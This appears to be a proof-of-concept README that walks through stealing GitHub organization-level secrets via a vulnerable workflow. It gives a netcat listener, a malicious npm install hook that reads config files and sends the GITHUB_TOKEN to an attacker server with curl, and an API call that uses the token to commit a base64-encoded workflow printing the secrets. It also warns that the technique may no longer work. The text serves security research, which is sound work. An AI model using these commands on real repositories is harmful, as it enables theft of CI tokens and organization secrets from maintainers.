WARNING: (20 April 2023) the proof of concept doesn't work now; this may be due to GitHub mitigations.
It is possible to exfiltrate organization level secrets even if they are not referenced in the vulnerable repository. However, the access to the secrets should be granted to either all organization repositories (which is the default) or a selected set of repositories including the vulnerable repository.
One way to exfiltrate organization level secrets is to exfiltrate the GITHUB_TOKEN and create a new workflow which would reference and print the secrets. This workflow can be created in any branch of the repository. Finally, to actually exfiltrate the secrets one triggers the workflow.
Only organization admins can view the list of organization level secrets. However, the attacker doesn't need to view the list. They can exfiltrate all secrets accessible to the workflow, including organization level secrets, at once by leveraging the secrets context as proposed by Alex Ilgayev in the "Extracting Repository And Organizational Secrets" section of How We Discovered Vulnerabilities in CI/CD Pipelines of Popular Open-Source Projects.
Run setup-org-level-secrets.sh as the victim to create the MYSECRET organization level secret with the value of 1234567890 and the org-level-secrets repository with the vulnerable workflow.
You will need gh installed to execute the
setup-org-level-secrets.shscript
Perform the following steps as the attacker.
- Open a publicly accessible port on a remote server (e.g.
nc -vlnk 0.0.0.0 1337). - Fork the
org-level-secretsrepository. - Add the
scripts.installkey to thepackage.jsonfile with thefind . -type f -name config | xargs cat | curl --data @- http://{IP}:1337value replacing the{IP}placeholder with the public IP address of the remote server. - Open a pull request from the fork to the
org-level-secretsrepository. - Wait until the remote server recieves the request and base64-decode the
GITHUB_TOKENfrom it. - Run the following command replacing
{GITHUB_TOKEN}and{owner}placeholders with the obtainedGITHUB_TOKENand the organization name respectively to create a new workflow.curl -X PUT -H "Accept: application/vnd.github.v3+json" -H "Authorization: Bearer {GITHUB_TOKEN}" https://api.github.com/repos/{owner}/org-level-secrets/contents/.github/workflows/exfiltrate.yml -d '{"message":"hey","content":"b246CiAgcHVsbF9yZXF1ZXN0X3RhcmdldDoKam9iczoKICBleGZpbHRyYXRlOgogICAgcnVucy1vbjogdWJ1bnR1LWxhdGVzdAogICAgc3RlcHM6CiAgICAgIC0gbmFtZTogZXhmaWx0cmF0ZQogICAgICAgIHJ1bjogfAogICAgICAgICAgZWNobyAiJHt7IHNlY3JldHMuTVlTRUNSRVQgfX0iIHwgYmFzZTY0IHwgYmFzZTY0"}'
- Open another pull request from the to the
org-level-secretsrepository to trigger the workflow. - The double-base64-encoded
MYSECRETsecret should appear in workflow run logs.